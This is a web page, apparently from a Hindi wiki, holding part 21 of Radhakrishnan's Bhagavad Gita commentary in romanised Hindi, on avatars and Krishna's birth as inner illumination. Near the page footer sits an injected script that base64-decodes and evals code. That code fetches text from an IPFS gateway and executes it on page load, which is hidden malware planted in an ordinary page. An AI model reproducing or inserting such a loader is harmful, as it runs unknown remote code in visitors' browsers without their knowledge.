भगवद्गीता -राधाकृष्णन भाग-21
yadyapi pratyek chetan satta is prakar ka avataran hai, parantu vah keval ek achchhadit prakatan hai. brahm ki atmachetan satta aur usi ki ajnan se avritt satta mean antar hai.
avataran ya avatar ka tathy is bat ka dyotak hai ki brahm ka ek poorn sapran aur sharirik prakatan se virodh nahian hai. yah sambhav hai ki ham bhautik sharir mean ji rahe hoan aur phir bhi hamamean chetana ka poorn saty vidyaman ho. manaviy prakriti koee be di nahian hai, apitu yah divy jivan ka ek upakaran ban sakati hai. ham samany mathye logoan ke lie jivan aur sharir-abhivyakti ke ajnanapoorn, apoorn aur aksham sadhan hote haian, parantu yah avashyak nahian ki ve sada aise hi hoan. divy chetana inaka upayog apane prayojan ke lie karati hai, jab ki asvatantr manaviy chetana ka sharir, pran aur man ki shaktiyoan par aisa poorn niyantran nahian rahata. yadyapi gita avatar mean is vishvas ko svikar karati hai ki brahm sansar mean kisi prayojan ko poora karane ke lie apane-ap ko simit kar deta hai aur tab bhi usake us simit sharir mean poorn jnan vidyaman rahata hai; sath hi vah shashvat avatar par bhi bal deti hai, arthath ki paramatma manushy mean vidyaman rahata hai, divy chetana manav-prani mean sadaiv vidyaman rahati hai. ye do drishtikon brahm ke anubhavatit aur anhtarvhyapi pahaluoan ke dyotak haian aur ye donoan ek-doosare ke virodhi nahian samajhe ja sakate. guroo krishna, jo manav-jati ke adhyatmik prabodhan mean ruchi le raha hai, apane andar vidyaman brahm ki gaharaee mean se bol raha hai. krishna ka avatar hamare andar vidyaman atma ke prakatan ka, andhakar mean chhipe hue brahm ke prakashan ka ek udaharan hai.
bhagavat ke anusar [1], “madhy ratri mean, jab ki ghane se ghana andhakar tha, ghat-ghatavyapi bhagavanh ne apane-ap ko divy devaki mean prakat kiya, kyoanki bhagavanh sab praniyoan ke hriday mean svayan chhipa hua hai.”[2]ujjval prakash kali se kali rat mean prakat hota hai. rahasyoan aur prakashanoan ki drishti se rat bahut samriddh hai. ratri ki upasthiti prakash ki upasthiti ko kam vastavik nahian bana deti. sach to yah hai ki yadi rat n ho, to manushy ko prakash ki anubhooti hi n ho. krishna ke janm ka arth hai—andhakaramayi ratri mean vimochan (uddhar) ka tathy. kasht aur dasatv ke kshanoan mean vishv ke uddharakarta ka janm hota hai. krishna ka janm vasudev aur devaki se hua kaha jata hai. jab hamari sattv prakriti shuddh ho jati hai,[3]jab jnan ke darpan se vasanaoan ki dhool ko hatakar use svachchh kar diya jata hai, tab vishuddh chetana ka prakash usamean pratibimbit hota hai. jab sab kuchh nasht ho gaya pratit hota hai, tab akash se prakash phoot p data hai aur vah hamare manaviy jivan ko itana samriddh kar deta hai ki use shabdoan dvara kahakar nahian bataya ja sakata. sahasa ek chamak hoti hai; hamean antarik alok prapt hota hai aur jivan bilakul naya aur taza dikhaee p dane lagata hai. jab hamare andar brahm ka janm hota hai, tab hamari aankhoan se keanchuli utar jati hai aur karagar ke dvar khul jate haian. bhagavanh pratyek prani ke hriday mean nivas karata hai aur jab us gupt nivas sthan ka parda phat jata hai, tab hamean divy nad sunaee p data hai, divy prakash prapt hota hai aur ham divy shakti se kary karane lagate haian.
| « pichhe | age » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
-